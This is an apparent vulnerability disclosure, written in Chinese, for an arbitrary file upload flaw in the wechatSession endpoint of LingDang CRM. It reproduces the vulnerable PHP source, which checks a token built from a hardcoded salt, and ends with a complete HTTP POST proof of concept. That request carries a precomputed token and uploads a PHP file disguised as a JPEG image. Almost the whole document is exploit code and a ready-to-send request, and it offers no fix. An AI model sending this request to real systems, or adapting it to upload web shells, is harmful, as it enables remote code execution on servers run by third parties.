灵当CRM wechatSession 存在任意文件上传漏洞

<?php  /* creator:liushuai date:20201020 reason:企业微信会话存档*/  date_default_timezone_set('PRC');error_reporting(E_ALL^E_NOTICE^E_WARNING);header('Content-Type:text/html;charset=UTF-8');header("Access-Control-Allow-Origin: *");header("Access-Control-Allow-Methods: GET, POST, OPTIONS");header("Access-Control-Allow-Headers: Origin, No-Cache, X-Requested-With, If-Modified-Since, Pragma, Last-Modified, Cache-Control, Expires, Content-Type, X-E4M-With");$root_dir=dirname(dirname(__FILE__));if (substr(PHP_OS, 0, 3) == 'WIN') {  //爲了本地测试而写                                      $root_dir = str_replace('\','/', $root_dir);                                   }include($root_dir.'/includefile.php');require_once($root_dir.'/include/Zend/Json.php');//include($root_dir.'/appCommon/appCommon.php');require_once(globalStatic::$root_directory . '/appCommon/appCommon.php');require_once(globalStatic::$root_directory . '/modules/WechatSession/WechatSession.php');$focus = new WechatSession();global $adb;/** * 特殊字符转义后替换 */function ReplaceSpecialChar($C_char) {  return $C_char;  if(empty($C_char)){    return $C_char;  }  $C_char=str_replace("%2B","+",$C_char); //替换成+  $C_char=str_replace("%2F","/",$C_char);  $C_char=str_replace("%3F","?",$C_char);  $C_char=str_replace("%3D","=",$C_char);  $C_char=str_replace("%25","%",$C_char);  //%会自动解析  但空格转义为%20  URL显示为%2520，所以还需要手动转义，不然存数据库为%20  $C_char=str_replace("%20"," ",$C_char);  return $C_char;//返回处理结果}$token = $_REQUEST["token"];$msgid = $_REQUEST['msgid'];$secret = $_REQUEST['secret'];  //拉取进程 同步 secret到crmif (empty($token) || (($token != md5($msgid."20201001")) && ($token != md5($secret."20201001")))) {  echo "authentication failed ";exit;}$operation = $_REQUEST["operation"];if ($operation == "upload") {  //关于local方式                               //    if ($_FILES["file"]["error"] != UPLOAD_ERR_OK) {                               if ($_FILES["file"]["error"] > 0) {                                 switch($_FILES['file']['error']){                                   case '1':                                   $error = '超过php.ini允许的大小';                                   break;                                   case '2':                                   $error = '超过表单允许的大小';                                   break;                                   case '3':                                   $error = '图片只有部分被上传';                                   break;                                   case '4':                                   $error = '请选择图片';                                   break;                                   case '6':                                   $error = '找不到临时目录';                                   break;                                   case '7':                                   $error = '写文件到硬盘出错';                                   break;                                   case '8':                                   $error = 'File upload stopped by extension';                                   break;                                   case '999':                                   default:                                   $error = '未知错误';                                 }                                 $arr = [                                   'code' => 0,                                   'msg' => $error,                                   'result' => ''                                   ];                                 echo json_encode($arr);exit();                               } else {                                 $filename = ReplaceSpecialChar($_FILES['file']['name']);                                 //        $filename = iconv('utf-8','gb2312',$filename);                                 $relative_dir = 'storage/wechatsession/'.date('Y');                                 $save_dir = $root_dir.'/'.$relative_dir;                                 if(!file_exists($save_dir)){                                   mkdir($save_dir,0777,true);                                 }                                 $relative_dir = 'storage/wechatsession/'.date('Y').'/'.date('m');                                 $save_dir = $root_dir.'/'.$relative_dir;                                 if(!file_exists($save_dir)){                                   mkdir($save_dir,0777,true);                                 }                                 $relative_dir = 'storage/wechatsession/'.date('Y').'/'.date('m').'/'.date('d');                                 $save_dir = $root_dir.'/'.$relative_dir;                                 $filepath = $save_dir .'/'. $filename;                                 if(!file_exists($save_dir)){                                   mkdir($save_dir,0777,true);                                 }                                 if (strtolower(PHP_OS) == 'freebsd' || strtolower(PHP_OS) == 'linux' || strtolower(PHP_OS) == 'unix') {                                   //获取系统类型，如果是非windows系统则不用修改编码格式                                   $upload_status = @move_uploaded_file($_FILES['file']['tmp_name'], $filepath);                                 } else{                                   $upload_status = @move_uploaded_file($_FILES['file']['tmp_name'], mb_convert_encoding($filepath, 'gb2312', 'UTF-8'));                                 }                                 //file_put_contents($root_dir."/wechatsession/uploadstatus.txt",$upload_status);                                 if ($upload_status){  //如果是 local ，上传完文件后直接更新文件信息到ld_wechatsession                                                       $root_dir = explode('/',$root_dir);                                                       $root_dir_name = $root_dir[sizeof($root_dir)-1];//  ldcrm                                                       $sql = "update ld_wechatsession SET filepath=?,filename=? WHERE msgid=?";                                                       //            $result = $adb->pquery($sql, array('/'.$root_dir_name.$relative_dir.'/'. $filename,$filename,$_REQUEST["msgid"]));                                                       $result = $adb->pquery($sql, array($relative_dir.'/'. $filename,$filename,$_REQUEST["msgid"]));                                                       $code = 1;                                                    }                                 else                                   $code = 0;                                 $arr = [                                   'code' => $code,                                   'msg' => '',                                   'result' => [                                   'upload_status' => $upload_status,                                   'filepath' => $filepath,                                   'filename' => $filename                                   ]                                   ];                                 echo json_encode($arr);exit();                               }

POST /crm/wechatSession/index.php?token=9b06a9617174f1085ddcfb4ccdb6837f&msgid=1&operation=upload HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,ru;q=0.8,en;q=0.7Cache-Control: no-cacheConnection: keep-aliveContent-Length: 197Content-Type: multipart/form-data; boundary=----WebKitFormBoundarydi5972B29YvTnNynCookie: PHPSESSID=sl03dj9rrc66erlu5c23jvng9nHost: 127.0.0.1Origin: http://127.0.0.1Pragma: no-cacheReferer: http://127.0.0.1/crm/wechatSession/index.php?token=9b06a9617174f1085ddcfb4ccdb6837f&msgid=1&operation=uploadUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36------WebKitFormBoundary03rNBzFMIytvpWhyContent-Disposition: form-data; name="file"; filename="1.php"Content-Type: image/jpeg<?php phpinfo();?>------WebKitFormBoundary03rNBzFMIytvpWhy--